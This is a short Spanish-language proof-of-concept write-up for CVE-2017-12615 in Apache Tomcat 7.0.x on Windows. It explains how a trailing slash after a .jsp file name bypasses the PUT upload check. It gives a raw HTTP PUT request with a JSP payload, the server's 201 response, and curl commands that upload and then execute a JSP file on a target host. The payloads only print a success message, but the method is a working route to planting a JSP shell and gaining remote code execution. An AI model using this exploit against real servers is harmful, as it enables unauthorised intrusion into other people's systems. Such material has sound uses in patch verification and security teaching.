
Exploit PoC para la vulnerabilidad PUT JSP en Apache Tomcat 7.0.x (CVE-2017-12615).
POC de Exploit para Apache Tomcat 7.0.0 a 7.0.79 en Windows; vulnerabilidad PUT JSP CVE-2017-12615.
Por diseño, no está permitido subir archivos JSP mediante el método PUT en los servidores Apache Tomcat. Esta es probablemente una medida de seguridad para evitar que un atacante suba un shell JSP y obtenga ejecución remota de código en el servidor. Sin embargo, debido a comprobaciones insuficientes, un atacante podría obtener ejecución remota de código en servidores Tomcat 7.0.{0 a 79} que tengan habilitado PUT, solicitando el método PUT en el servidor Tomcat mediante una solicitud HTTP especialmente manipulada. Pero en serio, ¿especial? Por favor.
Agregando un carácter '/' después de la extensión del nombre de archivo, se puede omitir la verificación de la extensión del archivo. Eso es todo. Así que, en realidad, no es tan especial.
PUT /myfile.jsp/
Host: domain-name:port
Connection: close
Content-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Sat, 23 Sep 2017 06:36:36 GMT
Connection: close
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write executed.</h3></body></html>"); %>
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
curl http://target-host-or-ip-address:port/test.jsp